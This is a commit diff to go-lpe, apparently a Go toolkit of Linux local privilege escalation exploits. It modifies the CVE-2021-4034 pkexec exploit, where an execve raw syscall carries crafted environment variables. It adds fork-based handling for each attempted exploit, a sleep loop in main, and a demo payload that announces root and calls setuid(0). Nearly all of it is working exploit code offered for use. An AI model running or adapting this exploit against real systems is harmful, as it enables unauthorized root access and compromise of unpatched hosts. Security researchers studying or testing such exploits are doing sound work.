fix: #5

CVE-2021-4034.go

@@ -1,6 +1,7 @@
 package golpe
 
 import (
+	"errors"
 	"fmt"
 	"io/ioutil"
 	"os"
@@ -96,10 +97,12 @@ func CVE_2021_4034() (err error) {
 		"XAUTHORITY=../LOL",
 		"\x00",
 	}
+
+	// child
 	_, _, err = syscall.RawSyscall(syscall.SYS_EXECVE,
 		uintptr(unsafe.Pointer(argv0p)),
 		uintptr(unsafe.Pointer(&argv)),
 		uintptr(unsafe.Pointer(&envvp[0])))
 
-	return fmt.Errorf("execve: %v", err)
+	return errors.New("If you see this, CVE-2021-4034 exploit has failed")
 }

cmd/golpe/main.go

@@ -1,9 +1,16 @@
 package main
 
 import (
+	"log"
+	"time"
+
 	golpe "github.com/jm33-m0/go-lpe"
 )
 
 func main() {
 	golpe.RunAll()
+	for {
+		time.Sleep(1 * time.Second)
+		log.Println("sleeping...")
+	}
 }

demo.c

@@ -1,7 +1,9 @@
+#include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 
 int main(int argc, char *argv[]) {
+  puts("go-lpe has successfully got root!");
   setuid(0);
   seteuid(0);
   setgid(0);

run.go

@@ -1,6 +1,9 @@
 package golpe
 
-import "log"
+import (
+	"log"
+	"syscall"
+)
 
 var All = map[string]func() error{
 	"CVE-2021-4034":  CVE_2021_4034,  // pkexec
@@ -10,12 +13,15 @@ var All = map[string]func() error{
 func RunAll() (err error) {
 	for cve, exp := range All {
 		log.Printf("Trying %s...", cve)
-		err = exp()
-		if err == nil {
-			log.Printf("Successfully got root via %s", cve)
-			break
+		pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
+		if pid == 0 {
+			err = exp()
+			if err == nil {
+				log.Printf("Successfully got root via %s", cve)
+				break
+			}
+			log.Printf("%s: %v", cve, err)
 		}
-		log.Printf("%s: %v", cve, err)
 	}
 	return
 }